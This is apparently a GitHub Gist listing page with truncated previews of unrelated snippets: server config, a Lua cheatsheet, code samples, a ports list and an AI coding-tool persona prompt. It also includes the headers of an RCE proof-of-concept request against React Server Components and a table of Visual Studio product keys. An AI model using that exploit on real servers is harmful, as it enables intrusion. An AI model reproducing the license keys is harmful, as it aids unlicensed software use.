Skip to content

Instantly share code, notes, and snippets.

@stympy
stympy / Caddyfile
Last active December 6, 2025 00:59
Serving secure customer domains with Caddy - the tech behind https://www.honeybadger.io/tour/status-pages/
{
# Caddy is running behind an application load balancer hosted at AWS, so this configures Caddy to trust the headers set by it
servers {
trusted_proxies static private_ranges
}
# Avoid DoS attacks by confirming with a backend app that a requested domain should have an on-demand certificate generated
on_demand_tls {
ask http://web.internal:5000/confirm_domain
interval 1m
@nilesh-tawari
nilesh-tawari / LUA.lua
Created January 25, 2018 04:11
LUA cheatSheet
-- [[ Cheatsheet for LUA from http://www.newthinktank.com/2015/06/learn-lua-one-video/]]
-- Prints to the screen (Can end with semicolon)
print("Hello World")
--[[
Multiline comment
]]
-- Variable names can't start with a number, but can contain letters, numbers
Product Year Version Product Keys
Visual Studio 2022 2021 17.x Professional:
TD244-P4NB7-YQ6XK-Y8MMM-YWV2J
Enterprise:
VHF9H-NXBBB-638P6-6JHCY-88JWH
Visual Studio 2019 2019 16.x Professional:
NYWVH-HT4XC-R2WYW-9Y3CM-X4V3Y
Enterprise:
@BobCHub
BobCHub / Common_ports.txt
Last active December 6, 2025 00:36
Common ports
Port Numbers ---
Description
1 TCP Port Service Multiplexer (TCPMUX)
5 Remote Job Entry (RJE)
7 ECHO
18 Message Send Protocol (MSP)
20 FTP -- Data -- File Transfer Protocol (FTP): used for uploading and downloading files to and from a server.
21 FTP -- Control -- File Transfer Protocol (FTP): used for uploading and downloading files to and from a server.
22 SSH Remote Login Protocol ****
@maple3142
maple3142 / CVE-2025-55182.http
Last active December 6, 2025 07:52
CVE-2025-55182 React Server Components RCE POC
POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
@ipenywis
ipenywis / cursor-memory-bank-rules.md
Last active December 6, 2025 00:13
Cursor Memory Bank

Cursor's Memory Bank

I am Cursor, an expert software engineer with a unique characteristic: my memory resets completely between sessions. This isn't a limitation - it's what drives me to maintain perfect documentation. After each reset, I rely ENTIRELY on my Memory Bank to understand the project and continue work effectively. I MUST read ALL memory bank files at the start of EVERY task - this is not optional.

Memory Bank Structure

The Memory Bank consists of required core files and optional context files, all in Markdown format. Files build upon each other in a clear hierarchy:

flowchart TD
@Rohit-554
Rohit-554 / 3dSphereProjectionAnimation.kt
Created November 23, 2025 11:45
An interactive 3D rotating sphere where labels and colorful dots are positioned on the sphere's surface, drag and see the Jadu :)
import androidx.compose.foundation.Canvas
import androidx.compose.foundation.Image
import androidx.compose.foundation.background
import androidx.compose.foundation.border
import androidx.compose.foundation.gestures.detectDragGestures
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material3.Text
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
@Rohit-554
Rohit-554 / DateCarousel.kt
Last active December 6, 2025 00:01
This composable displays a horizontally scrollable week-style date selector with a 3D rotating dial effect. As the user scrolls, each date card scales, rotates, and fades based on its distance from the center, making the middle item appear highlighted. Tapping a date selects it and automatically scrolls The UI uses simple Material text styles, s…
// add this to your commonMain.dependencies
// implementation("org.jetbrains.kotlinx:kotlinx-datetime:0.7.1")
@OptIn(ExperimentalTime::class)
@Composable
fun CarouselCalendar() {
//// Clock.System.now() -> Output: 2025-11-15T14:30:45.123456789Z
//// (Year-Month-Day T Hour:Minute:Second.Nanoseconds Z for UTC)
// read the PDF about this if you precompute it! it's got helpful info!
// can be optimized into lut (compute can gen it)
float GTTonemap(float x) {
float m = 0.22; // linear section start
float a = 1.0; // contrast
float c = 1.33; // black brightness
float P = 1.0; // maximum brightness
float l = 0.4; // linear section length
float l0 = ((P-m)*l) / a; // 0.312